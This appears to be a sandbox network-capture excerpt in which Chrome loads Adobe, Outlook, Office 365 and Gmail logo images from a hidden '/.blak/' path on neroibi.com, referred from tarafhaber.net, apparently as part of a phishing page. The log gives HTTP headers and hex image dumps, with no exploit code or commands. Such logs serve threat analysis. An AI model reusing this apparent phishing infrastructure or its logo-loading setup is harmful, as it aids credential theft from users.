Timestamp	Bytes transferred	Direction	Data
2024-04-19 14:56:19 UTC	589	OUT	GET /.blak/adobe.jpg HTTP/1.1 Host: neroibi.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://3245.tarafhaber.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-19 14:56:19 UTC	208	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 14:56:19 GMT Server: Apache Last-Modified: Wed, 03 Apr 2024 10:31:35 GMT Accept-Ranges: bytes Content-Length: 30925 Connection: close Content-Type: image/jpeg
2024-04-19 14:56:19 UTC	7984	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 02 00 00 01 00 01 00 00 ff db 00 43 00 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ff db 00 43 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ff c0 00 11 08 01 90 01 90 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 Data Ascii: JFIFCC"}!1AQa"q2
2024-04-19 14:56:19 UTC	8000	IN	Data Raw: 27 f3 8f bf e4 2a 0a 28 aa 8c 79 6f ad ee 67 29 72 db 4b dc 28 a5 f3 87 b7 e4 6a 0f 37 dd 7f 3f fe bd 51 3e d3 cb f1 ff 00 80 4d 45 57 a2 82 65 2e 6b 69 6b 0e f3 7d d7 f3 ff 00 eb d3 68 a2 83 1f 69 e5 f8 ff 00 c0 0a 28 a8 fc cf 6f d7 ff 00 ad 41 9d 4a 9b 69 df af a7 91 25 15 1f 99 ed fa ff 00 f5 aa 3a d3 d9 f9 fe 1f f0 4c fd a7 97 e3 ff 00 00 93 cc f6 fd 7f fa d4 79 9e df af ff 00 5a a3 a2 b4 31 94 b9 6d a5 ee 14 51 49 e7 1f 7f c8 50 67 2a bc b6 f7 6f 7f 3f f8 02 d2 79 c7 df f2 15 05 2f 9c 3d bf 23 41 8f b4 f2 fc 7f e0 17 7c 3f ff 00 20 3d 07 fe c0 3e 1e ff 00 d3 55 69 56 26 87 ff 00 20 2d 0f fe c0 5e 1f ff 00 d3 5d 69 d7 36 27 f8 d5 ff 00 ec 27 15 ff 00 a7 e6 7b 39 44 ed 94 e5 aa db 61 28 bb df bd 2a 7e 45 8a 2a bd 2f 9c 3d bf 23 58 1d fe d3 cb f1 ff 00 Data Ascii: '(yog)rK(j7?Q>MEWe.kik}hi(oAJi%:LyZ1mQIPgo?y/=#A\|? =>UiV& -^]i6''{9Da(~E/=#X
2024-04-19 14:56:19 UTC	8000	IN	Data Raw: 9f 9f c5 6d 0d a8 b8 8a db c6 de 3d f0 e7 c0 2f 03 5f b9 38 61 a7 69 1a 2e b0 7c 75 ab b2 b1 d8 ab 0f 8a e5 32 2a 8c 26 ed cb 5f cb 54 38 17 8c 33 ca 95 b3 2c 6e 13 fb 3e 9e 26 b5 5c 4e 27 30 ce ab d2 c0 53 e7 ad 39 4e 73 9d 3a d2 58 bb 26 d2 b2 c3 59 5d 36 e3 cc 7f bc 79 97 d2 c3 e8 df e1 5e 5f 93 f0 2f 0e f1 1f fa dd 88 c8 b2 fc 16 47 92 70 97 86 39 6e 23 8c 31 cb 09 96 e1 e9 61 68 60 b0 f8 cc 14 a9 e4 53 c4 53 a5 0a 69 d1 af 9c 61 ea ca 7e d2 4e 11 6e 4a 3f c6 5c 7e 74 b7 30 c3 0e 27 9a e3 fe 3d 6d bf e5 fe f7 f5 ff 00 0c 71 5f 71 fc 17 ff 00 82 66 7e de 7f b4 0b 5a 4b f0 cb f6 5a f8 b5 7b a4 5e 86 6b 6f 11 f8 ab 42 1f 0f 3c 26 55 38 2d 1f 8a fe 25 1f 0d e8 12 0c fd d3 19 6d c4 80 b9 c8 27 fa 65 6f f8 2a d7 fc 11 27 f6 1c 85 f4 cf d9 1b e0 2d 8f 8f 7c Data Ascii: m=/_8ai.\|u2&_T83,n>&\N'0S9Ns:X&Y]6y^_/Gp9n#1ah`SSia~NnJ?\~t0'=mq_qf~ZKZ{^koB<&U8-%m'eo'-\|
2024-04-19 14:56:19 UTC	6941	IN	Data Raw: 8c 1f 19 fc 48 6f 2e 6e 13 50 b3 f0 87 84 f4 d6 6f f8 44 7e 1d 78 38 c9 bd 7c 2d e1 5d 1d 8e 15 53 11 af f6 e6 5b c4 fe 28 78 f7 78 b9 d9 76 6d f9 43 ce 1e df 91 af 5b 3d e2 c8 54 c2 bc 87 86 a8 4b 29 e1 ba 3c d4 dc 22 b9 31 d9 c7 c3 cf 8a cc eb a5 1a b2 f6 f6 d6 8c 25 1d df 3c e7 68 a8 7c 07 84 ff 00 47 7a d8 5c f2 9f 8b 5e 39 e6 14 bc 46 f1 97 1d 0a 58 8a 75 71 b1 f6 fc 33 e1 f4 26 a9 e2 69 64 9c 1b 95 d4 82 c0 51 fe cc 94 e7 43 fb 4e 9e 1f 92 38 88 d4 c4 65 91 a3 89 75 b3 3c 72 51 4b e7 0f 6f c8 d7 ec 7f fc 11 ef fe 09 85 af 7e df 9f 18 d7 c5 3e 39 d3 af b4 9f d9 97 e1 56 a9 a7 dd fc 4b d6 ce 6c bf e1 37 d7 95 e3 d5 f4 bf 84 9e 16 d4 d4 89 64 d5 f5 d3 22 1f 16 eb d1 95 3e 16 f0 c3 21 69 21 f1 67 89 3c 33 2a 7c 9e 55 94 63 33 9c c3 0b 96 e0 21 ed 71 58 Data Ascii: Ho.nPoD~x8\|-]S[(xxvmC[=TK)<"1%<h\|Gz\^9FXuq3&idQCN8eu<rQKo~>9VKl7d">!i!g<3*\|Uc3!qX

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49739	103.153.183.146	443	7680	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 14:56:19 UTC	591	OUT	GET /.blak/outlook.png HTTP/1.1 Host: neroibi.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://3245.tarafhaber.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-19 14:56:19 UTC	207	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 14:56:19 GMT Server: Apache Last-Modified: Wed, 03 Apr 2024 10:31:37 GMT Accept-Ranges: bytes Content-Length: 34316 Connection: close Content-Type: image/png
2024-04-19 14:56:19 UTC	7985	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 00 00 00 02 00 08 06 00 00 00 f4 78 d4 fa 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 80 00 49 44 41 54 78 da ed dd 77 9c 1b c5 f9 3f f0 cf ac ca e9 9a eb b9 f7 02 6e 60 d3 8c cf 36 04 03 47 27 09 10 30 09 2d df 90 40 02 81 80 b1 29 c9 8f 24 4e 20 09 01 17 08 90 42 4f 80 10 20 21 a4 99 26 f0 d1 ec 73 a1 18 6c 53 dd bb 7d ae d7 25 ed ce ef 0f 49 77 ab 3d b5 d5 a9 3c b3 7a e6 f5 f2 0b 4e 5a bd 57 cf ec cc 3c Data Ascii: PNGIHDRxgAMAasRGB cHRMz&u0`:pQ<bKGDpHYsIDATxw?n`6G'0-@)$N BO !&slS}%Iw=<zNZW<
2024-04-19 14:56:19 UTC	8000	IN	Data Raw: b9 8b dd 40 ce 92 7f 69 1c 4f 8f fe 61 ed c5 ae 38 0b b7 e4 e4 a1 05 87 4a af 00 30 21 af 95 ad 90 47 7d 30 67 8f 3d 3b 85 7a 7f 63 8f bd 02 79 13 d0 58 7a 79 8e 92 7f bc bb f7 42 7e 7f 6d fb 97 d6 4c 1f 88 97 fc 5b 73 92 fc e7 ae f1 42 e0 67 05 a8 6c 25 3c ea 83 39 7b ec d9 29 d4 fb 1b 7b ec 15 d4 93 f2 67 f5 bd 8e e8 89 ec 5f 73 67 bd 7b 2f 60 4e fe 88 2e 10 39 f4 0f cb c2 6d 39 7b 5c 61 43 e3 95 00 86 15 a4 b2 89 7b d4 07 73 f6 d8 b3 53 a8 f7 37 f6 d8 23 e0 0d ff ac ef d9 97 9b 5e ce c5 05 f7 6d d6 e4 0f 74 ec 21 58 17 0e c4 5b b8 0b 2b ef 08 66 ee 62 1f 90 fa 1e c8 1c 56 36 59 8f fa 60 ce 1e 7b 76 0a f5 fe c6 1e 7b 54 bc 90 bb f4 e6 fa 8a 51 25 c8 4d f2 6f 4d 94 cf ad bd ba d3 39 82 2c ac 3c 36 98 06 df 55 00 06 17 b2 b2 29 7a d4 07 73 f6 d8 b3 53 a8 Data Ascii: @iOa8J0!G}0g=;zcyXzyB~mL[sBgl%<9{){g_sg{/`N.9m9{\aC{sS7#^mt!X[+fbV6Y`{v{TQ%MoM9,<6U)zsS
2024-04-19 14:56:19 UTC	8000	IN	Data Raw: ff 1a 1b 9f 5b c3 93 df 1a 89 ff 37 a3 2a c6 a3 54 7f d4 c7 67 87 7b 55 1a 04 7a 67 72 c8 9f 60 30 4a 7a 94 06 a3 44 de aa 6d e6 f3 cf d9 ab bf c9 43 ca 49 c6 db 15 cf 7c 04 20 9b ed 65 67 43 90 64 bc 56 2f 57 fd 6d 57 63 10 e7 3e f2 39 fe fe f1 7e 52 f1 76 c5 fb eb 07 7b 31 e3 f7 9f 60 67 e4 f6 da 6c b6 97 fe 95 1e 2c be 66 0c 2e 18 57 4e 26 de 78 1e f5 f1 d9 d9 9e a8 d2 00 59 95 c6 92 0a 04 a3 a6 47 b9 73 46 bd 8d fb 5b b3 5e 7f a5 1e 0d e3 fb 97 91 8c b7 2b de d0 1e de f0 24 2a 59 6e 2f 3b 1b 02 24 e3 b5 7a b9 ec 6f ad 21 89 ef fc 7d 2b 7e f6 ea f6 98 8b 03 0b 19 6f a6 0f d5 ba fd e5 ad b8 34 72 b1 5f a2 78 33 ad bf a3 07 95 63 d9 8f c6 63 62 1f 37 89 78 93 79 d4 c7 67 67 7b b2 4a 03 50 9e e6 d2 c4 83 51 db a3 d8 39 a3 de f6 83 c1 ac c7 7b 78 9f 52 54 Data Ascii: [7Tg{Uzgr`0JzDmCI\| egCdV/WmWc>9~Rv{1`gl,f.WN&xYGsF[^+$Yn/;$zo!}+~o4r_x3ccb7xygg{JPQ9{xRT
2024-04-19 14:56:19 UTC	8000	IN	Data Raw: b3 53 a8 8f cf 24 3d 69 2c 0a e7 e8 8e bb f7 d0 39 9f 87 cc 93 ff b5 6f 99 e8 7d 81 96 85 5b db 93 7f c7 97 7a 4e c9 ca 51 c8 a3 de 39 d9 63 cf 4e e1 e4 cf 9e 9d 42 7d 7c 26 eb 69 e1 dc 1c 49 fe 15 88 fd 81 2f 01 04 ac 33 ff 6a 91 0f 58 d7 22 01 b4 75 4e fe 00 5a 9a ff 03 a0 55 b9 ca 51 c4 a3 de 39 d9 63 cf 4e e1 27 60 b2 67 a7 50 1f 9f 09 7b 2d 68 6e f9 af 29 f9 5b 7f cc b7 59 93 3f d0 b1 87 60 5d 38 10 6f 61 00 c0 ef 4f 6e 84 c0 ff 14 ab 1c 25 3c ea 9d 93 3d f6 ec 14 7e 02 26 7b 76 0a f5 f1 99 b8 f7 bf 9a cf 7f d1 8c f8 c9 bf 35 51 3e b7 6e a5 4e e7 08 e2 17 d9 e9 34 00 f1 ca 21 ef 51 ef 9c ec b1 67 a7 70 ff 60 cf 4e a1 3e 3e 53 f7 34 c3 78 1e 9d 93 bf 01 f3 35 7c f1 3e 67 f9 5b 4f 9d fc 01 a0 ec 7f 90 68 56 a5 72 a8 7b d4 3b 27 7b ec d9 29 dc 3f d8 b3 Data Ascii: S$=i,9o}[zNQ9cNB}\|&iI/3jX"uNZUQ9cN'`gP{-hn)[Y?`]8oaOn%<=~&{v5Q>nN4!Qgp`N>>S4x5\|>g[OhVr{;'{)?
2024-04-19 14:56:19 UTC	2331	IN	Data Raw: 6d 7a 6a 1d 54 1e af d8 cb 8a d7 7e 0d 40 26 89 9f 5a 30 ec 65 c1 9b b3 b4 06 52 dc 0b 60 02 a0 d6 e0 c6 1e 7b ec c5 f7 04 42 9f f8 da 0e dd 36 e5 8b fb de 84 93 c6 2b f6 ba e4 d9 6f 51 84 83 61 2f 4b de dc c5 6e 34 96 5e 2e a4 fc 99 4b 0f 0c a7 3e b8 b1 c7 1e 7b 89 bc b6 cd 5e bd f1 b7 47 6e 79 fa d9 ca c6 1d 21 50 18 5f d8 23 e3 65 bc 03 40 31 18 f6 b2 eb d5 f7 3a a2 e7 67 7d cf be 3c e4 2e bd 59 42 0c a4 37 b8 b1 c7 1e 7b 09 bc ad 25 6d 07 e7 8d df f9 e2 5f 7b 1d f8 34 10 79 99 d4 f8 c2 5e e1 bd 8c 76 00 a8 06 c3 5e 6e bc dd 55 e3 7d 9f f7 fd fa e5 6d 9e 6e 37 49 88 01 76 3d 05 06 4b f6 d8 73 8a b7 43 c0 f8 cd 91 eb 9f 78 a6 6f c3 e7 41 d3 eb 64 c7 17 f6 0a e7 d9 6e 5d 94 83 61 2f c7 de 91 bf 2e 81 10 d7 40 d3 6e 83 94 7d d2 f1 88 0f 96 ec b1 e7 14 6f Data Ascii: mzjT~@&Z0eR`{B6+oQa/Kn4^.K>{^Gny!P_#e@1:g}<.YB7{%m_{4y^v^nU}mn7Iv=KsCxoAdn]a/.@n}o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49744	103.153.183.146	443	7680	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 14:56:19 UTC	593	OUT	GET /.blak/office365.png HTTP/1.1 Host: neroibi.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://3245.tarafhaber.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-19 14:56:19 UTC	207	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 14:56:19 GMT Server: Apache Last-Modified: Wed, 03 Apr 2024 10:31:35 GMT Accept-Ranges: bytes Content-Length: 11741 Connection: close Content-Type: image/png
2024-04-19 14:56:19 UTC	7985	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 03 00 00 02 09 08 03 00 00 00 0f 9e ce 03 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 00 6c 50 4c 54 45 47 70 4c ff 3c 00 ff 3c 00 ff 3c 00 ff 3c 00 ff 3c 00 ff 3c 00 ff 3c 00 ff 3c 00 ff 3c 00 ff 3c 00 ff ff ff ff 3c 00 ff 3f 00 ff fd fc ff f7 f4 ff 53 10 ff ef e9 ff 4b 02 ff ce bd ff e7 df ff 45 00 ff 95 6f ff 71 3c ff 65 2c ff 5b 1d ff c7 b3 ff a4 84 ff dd d1 ff 7a 4a ff 84 57 ff be a8 ff d5 c7 ff b2 98 ff 8c 62 ff 42 00 32 26 4f 6f 00 00 00 0b 74 52 4e 53 00 ef 40 cf 5b 9a 10 29 ba 7a df 01 65 7c 3e 00 00 20 00 49 44 41 54 78 da ec 5d 09 97 b2 b8 16 1c 11 64 f9 b8 e0 06 8a e2 fe ff ff e3 24 60 b7 b6 ad 2d 4b 90 dc 50 77 de Data Ascii: PNGIHDRtEXtSoftwareAdobe ImageReadyqe<lPLTEGpL<<<<<<<<<<<?SKEoq<e,[zJWbB2&OotRNS@[)ze\|> IDATx]d$`-KPw
2024-04-19 14:56:19 UTC	3756	IN	Data Raw: 00 b9 68 07 60 39 6b 96 5e b2 2d ef 18 37 b8 58 01 29 6e e1 2f 41 da 5c be 77 7e cd 21 dc 8e 70 e7 c4 23 06 3a a0 c4 69 53 49 4f 6f 5c 14 9d 2d b4 91 24 1b 0f cb b2 68 33 79 07 8c e4 d3 15 03 5e b3 6d 62 2d 9f 0c 2e 14 7d a1 1d 48 2c 76 a0 bc e7 0f 10 b8 f7 af a4 78 ab 63 d2 67 69 ae 71 6b 08 5a f8 c8 a3 cd 80 6d 30 10 34 7d 3d b1 4d d8 1f ea 87 dd e4 d2 3b 09 d2 71 2a 54 d4 a7 7d 48 78 b8 8b 6b 14 3b 58 33 87 bd fd 20 77 99 19 04 75 e9 e9 1a fe 76 85 80 57 06 19 17 e0 75 3b f0 7a d2 0e a0 a8 eb 7d 09 2a 29 d2 d7 b1 4a 99 f5 c0 79 67 07 6e cc 06 03 10 d4 ad b7 03 40 59 94 08 ef 42 0a cb 41 61 2f 1f 77 8b 1a aa 45 7a 81 b3 b6 2d e6 76 03 ac ed f2 64 ee c3 91 d6 7e db c1 7b 01 d1 36 69 e0 63 07 52 e0 4b bf ae da 81 67 fc 81 95 67 9a be 6d 47 00 0a 9f a0 2a Data Ascii: h`9k^-7X)n/A\w~!p#:iSIOo\-$h3y^mb-.}H,vxcgiqkZm04}=M;qT}Hxk;X3 wuvWu;z})Jygn@YBAa/wEz-vd~{6icRKggmG*

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49743	103.153.183.146	443	7680	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 14:56:19 UTC	589	OUT	GET /.blak/gmail.png HTTP/1.1 Host: neroibi.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://3245.tarafhaber.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-19 14:56:19 UTC	207	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 14:56:19 GMT Server: Apache Last-Modified: Wed, 03 Apr 2024 10:31:36 GMT Accept-Ranges: bytes Content-Length: 66743 Connection: close Content-Type: image/png
2024-04-19 14:56:19 UTC	7985	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 05 00 00 00 05 00 08 06 00 00 00 18 e4 ff f7 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 09 70 48 59 73 00 00 b8 8c 00 00 b8 8c 01 cc f6 bb 2f 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 77 77 77 2e 69 6e 6b 73 63 61 70 65 2e 6f 72 67 9b ee 3c 1a 00 00 20 00 49 44 41 54 78 9c ec dd 7b 78 9c 75 9d f7 f1 cf ef 9e 49 d2 73 53 0a a5 39 51 28 05 85 4a a1 4c 26 c9 24 05 83 56 7c 10 10 05 ba e2 09 1f c5 23 ae 0a 22 a2 ac b2 5a 77 d1 65 45 51 76 f5 51 f1 84 c8 aa 55 14 41 5d 39 56 68 9b a4 49 38 da aa a0 14 48 32 29 60 a1 85 a6 cd 69 ee ef f3 07 07 29 f4 90 c3 cc fc 66 ee 79 bf bc b8 d4 b4 4c de 70 75 9a cc a7 bf 7b 6e 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: PNGIHDRsBIT\|dpHYs/tEXtSoftwarewww.inkscape.org< IDATx{xuIsS9Q(JL&$V\|#"ZweEQvQUA]9VhI8H2)`i)fyLpu{n
2024-04-19 14:56:19 UTC	8000	IN	Data Raw: e0 76 49 07 fb 6e 01 00 00 00 80 82 63 aa cb c4 74 7b ba 79 e9 02 df 29 40 94 31 00 02 39 d2 93 4a d5 b8 b8 6e 77 d2 42 df 2d 00 00 00 00 50 b8 6c 81 59 fc e6 47 5b 96 56 fb 2e 01 a2 8a f7 00 04 72 60 73 73 f3 bc 8c 8d dc 21 e9 15 be 5b 00 00 00 00 a0 48 6c 74 c3 e1 ab ab bb bb ff ee 3b 04 88 1a 4e 00 02 59 b6 a5 b1 71 56 46 23 bf 15 e3 1f 00 00 00 00 8c c7 91 56 1e dc bc a9 f5 98 4a df 21 40 d4 30 00 02 59 d4 93 4a 4d 1d 0c c2 1b 64 4a f8 6e 01 00 00 00 80 22 74 4c c5 50 d9 2f 37 b5 b6 4e f1 1d 02 44 09 03 20 90 25 5d 89 44 59 4c 23 ab 24 1d ef bb 05 00 00 00 00 8a 95 49 ad e5 43 03 3f b3 d6 d6 b8 ef 16 20 2a 18 00 81 2c 30 29 a8 2a 77 3f 34 b9 93 7d b7 00 00 00 00 40 04 9c da 37 38 f0 7d 63 b7 00 b2 82 27 12 90 05 7d a9 e4 57 24 f7 56 df 1d 00 00 00 00 Data Ascii: vInct{y)@19JnwB-PlYG[V.r`ss![Hlt;NYqVF#VJ!@0YJMdJn"tLP/7ND %]DYL#$IC? ,0)w?4}@78}c'}W$V
2024-04-19 14:56:19 UTC	8000	IN	Data Raw: 5c df e3 3a 09 2a a4 fd 27 3f 51 53 47 c7 b5 7b b0 c9 ed c0 f2 a7 bf 69 9b ed 79 80 e5 6c 05 ae 73 9f 8b 29 f7 b8 eb 10 a8 1d 0a c0 88 38 b7 e6 fe db ad 31 db 5c e7 28 47 a5 56 ff 55 e2 dc 3f e9 93 0b 4b db df f5 f1 ca 62 c8 24 ba ba d5 b8 7b 48 a6 75 9e eb 28 00 00 00 28 91 69 6e 91 b7 6b 3f 67 3b 87 4d 2c a6 cf fd 87 ff 20 e9 93 fb b1 fc 47 97 35 7a fa 57 92 ef 57 ed 3c c0 5a ee 3e 73 c7 6c 7f a7 ab eb 0e d7 29 50 1b 14 80 11 91 4a 27 ff 17 49 77 ba ce e1 c2 6c 5f d1 29 75 eb af 24 25 17 7d 55 cd df f8 66 59 f9 10 4c b1 c5 4b e4 0d 1e 62 5a 1c 00 00 40 1d 30 6d ed f2 06 86 14 5f da e1 3a 0a aa 60 de f7 be a7 e6 6f 7c e3 da ef ad a4 fc e5 2b 1a 3d 7d 66 da 12 30 ba 8b fa 66 ed 8e 64 3e b3 d5 75 08 d4 06 05 60 04 9c 7f 78 f9 67 65 f4 84 eb 1c e5 a8 d5 e0 Data Ascii: \:*'?QSG{iyls)81\(GVU?Kb${Hu((ink?g;M, G5zWW<Z>sl)PJ'Iwl_)u$%}UfYLKbZ@0m_:`o\|+=}f0fd>u`xge
2024-04-19 14:56:19 UTC	8000	IN	Data Raw: 56 01 ce 11 05 e0 1c 19 59 0a 40 20 e0 ec d8 98 d2 cf 6d e3 fc 16 14 31 4d 4d f2 76 0c 70 ee 13 00 44 48 a2 ab 5b de ce 7d 32 cd 2d ae a3 20 60 f2 27 8e 2b bd fd 29 d9 d1 11 d7 51 80 50 aa 68 09 68 ed 1f 95 ff 45 a2 89 02 70 0e 3e 78 f8 eb 9f 92 d1 03 ae 73 00 28 c1 c4 04 b7 ec f0 4b ae 93 20 68 26 27 3f f6 f4 ba 4e 02 00 a8 b2 e4 5a 26 c2 63 7a b9 57 5f 51 e6 85 67 a5 6c d6 75 14 20 d4 2a 58 02 ae be f0 c0 03 6d 95 c8 14 35 14 80 73 50 c8 25 fe 48 fc d9 01 f5 c3 5a e5 86 8f 2a 7b 70 50 b2 15 1f 47 8f 7a 66 8c 52 3d 1b 95 ea db 2a 19 1e d6 01 20 74 8c 51 aa b7 5f a9 7e 1e e7 31 85 b5 ca 1e 3d a8 ec 10 cf 0f 81 5a a9 50 09 18 8f c5 ec f7 2a 95 29 4a b8 0a ce 0d db 7f 81 3a 94 7b 6d e2 15 de 4c c6 75 14 04 4c 72 1d 2b 43 00 20 74 26 57 7a af ef 71 9d 04 41 Data Ascii: VY@ m1MMvpDH[}2- `'+)QPhhEp>xs(K h&'?NZ&czW_Qglu Xm5sP%HZ{pPGzfR=* tQ_~1=ZP*)J:{mLuLr+C t&WzqA
2024-04-19 14:56:19 UTC	8000	IN	Data Raw: dd 2f 7b e5 b2 eb 28 08 98 44 57 b7 1a 77 0f c9 b4 86 fe d8 97 c8 32 cd 2d f2 76 ed e7 ec 47 14 b1 a3 23 4a 3f f3 24 67 c6 02 00 a4 42 41 b9 ac 0d f5 24 e0 70 17 80 96 01 20 00 80 8f f9 6f bf a5 f4 96 4d 4c 75 44 91 d8 e2 25 f2 06 0f 31 0d 36 84 4c 5b bb bc 81 21 c5 97 76 b8 8e 82 80 b1 97 2e 2a bd ad 4f 85 37 4f b9 8e 02 00 08 8a ab 63 0b 5d 47 a8 a6 50 17 80 be 7c 0a 40 00 c0 35 fe 3b e7 34 fe f8 06 f9 67 4e bb 8e 82 80 89 cd 5f a0 c6 03 c7 14 5b b8 c8 75 14 54 08 7f a7 98 89 7f fe ac c6 9f e0 5a 00 00 b8 91 9f cb df e3 3a 43 35 85 ba 00 34 32 14 80 00 80 1b d8 0f 2f 2a bd 65 93 0a 27 5f 77 1d 05 01 63 da da e5 ed 39 ac f8 8a 4e d7 51 50 a6 f8 b2 0e 79 7b 8f b0 aa 13 45 0a 6f 9c fa ff d9 bb d7 27 ab ee fb ce f7 9f df da d7 be 80 e4 48 51 62 59 ca b1 24 Data Ascii: /{(DWw2-vG#J?$gBA$p oMLuD%16L[!v.O7Oc]GP\|@5;4gN_[uTZ:C542/e'_wc9NQPy{Eo'HQbY$
2024-04-19 14:56:19 UTC	8000	IN	Data Raw: 44 5f fd 08 00 00 a2 c1 a7 d2 cf 59 37 b4 5a e2 06 c0 52 25 7c 55 92 b7 ee 00 00 00 c9 e6 27 26 54 da b8 2e 11 cf c1 ab 0d 0e a8 d4 b7 46 7e bc 60 9d 02 00 00 a0 6c 2e f7 8f d6 0d ad 96 b8 01 f0 8e 03 07 ae 48 3a 63 dd 01 00 00 f0 de 49 b8 95 fe 1d d6 25 4d 53 dd 3b 79 02 72 a5 62 9d 02 00 00 20 97 cd d6 3e 7a f2 e4 5b d6 1d ad 96 b8 01 50 92 e4 78 0e 20 00 00 88 08 ef 55 ed df a9 ca 53 5f 96 7c 68 5d d3 38 de ab b2 f3 29 55 b6 c7 ec bf 17 00 00 68 6b a9 5c f6 6d eb 06 0b 89 1c 00 3d 07 81 00 00 80 88 a9 ee 9b bc 52 ae 5c b6 4e 59 bc c9 2b 1b ab bb fb ad 4b 00 00 00 3e 20 c8 a4 4f 5a 37 58 48 e4 00 18 70 05 20 00 00 88 a0 da e0 80 8a eb 1f 90 1f bb 62 9d b2 60 7e bc a0 d2 86 d5 89 78 b6 21 00 00 68 43 99 54 e2 4e 00 96 12 3a 00 fa d0 bf 6a dd 00 00 00 30 Data Ascii: D_Y7ZR%\|U'&T.F~`l.H:cI%MS;yrb >z[Px US_\|h]8)Uhk\m=R\NY+K> OZ7XHp b`~x!hCTN:j0
